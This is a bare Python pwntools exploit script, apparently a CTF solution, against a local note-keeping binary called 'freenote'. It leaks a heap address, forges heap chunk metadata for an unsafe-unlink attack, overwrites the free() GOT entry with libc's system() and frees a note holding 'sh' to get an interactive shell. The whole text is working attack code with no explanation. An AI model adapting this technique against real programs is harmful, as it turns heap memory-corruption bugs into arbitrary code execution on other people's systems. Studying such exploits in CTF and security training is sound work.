from pwn import *
note=process('./freenote')
def newnote(x):
note.recvuntil('Your choice: ')
note.send('2\n')
note.recvuntil('Length of new note: ')
note.send(str(len(x)) + '\n')
note.recvuntil('Enter your note: ')
note.send(x)
def delnote(x):
note.recvuntil('Your choice: ')
note.send('4\n')
note.recvuntil('Note number: ')
note.send(str(x)+'\n')
def editnote(x,y):
note.recvuntil('Your choice: ')
note.send('3\n')
note.recvuntil('Note number: ')
note.send(str(x)+'\n')
note.recvuntil('Length of note: ')
note.send(str(len(y))+'\n')
note.recvuntil('Enter your note: ')
note.send(y)
def listnote(x):
note.recvuntil('Your choice: ')
note.send('1\n')
note.recvuntil(x)
s=note.recvuntil('\n')
return s
newnote('B')
newnote('B')
newnote('B')
newnote('B')
delnote(0)
delnote(2)
newnote('B'*0x8)
result=listnote('B'*0x8)
result=u64(result[:-1].ljust(0x8,'\x00')) - 0x1940
print '[+] heap base: '+ hex(result)
heap_base=result
raw_file=ELF('freenote')
libc=ELF('libc.so.6')
off_system=libc.symbols['system']
off_free=libc.symbols['free']
off_puts=libc.symbols['puts']
free_got=raw_file.got['free']
puts_got=raw_file.got['puts']
malloc_got=raw_file.got['malloc']
newnote('A'*0x80)
newnote('B'*0x80)
newnote('C'*0x80)
delnote(0)
delnote(1)
payload=p64(0x80)+p64(0x80)
payload+=p64(heap_base+0x30-3*0x8)
payload+=p64(heap_base+0x30-2*0x8)
payload=payload.ljust(0x80,'A')
payload+=p64(0x80)
payload+=p64(0x90)
newnote(payload)
delnote(1)
payload=p64(0x1)+p64(0x1)
payload+=p64(0x8)
payload+=p64(free_got)
payload=payload.ljust(0x90)
editnote(0,payload)
print 'info'
result=listnote('0. ')
result=u64(result[:-1].ljust(0x8,'\x00'))
print '[+]addr_free= ',hex(result)
libc_base=result-off_free
system_addr=libc_base+off_system
puts_addr=libc_base+libc.symbols['puts']
read_addr=libc_base+libc.symbols['read']
print hex(system_addr)
payload=p64(system_addr)
editnote(0,payload)
newnote('sh\0')
delnote(6)
note.interactive()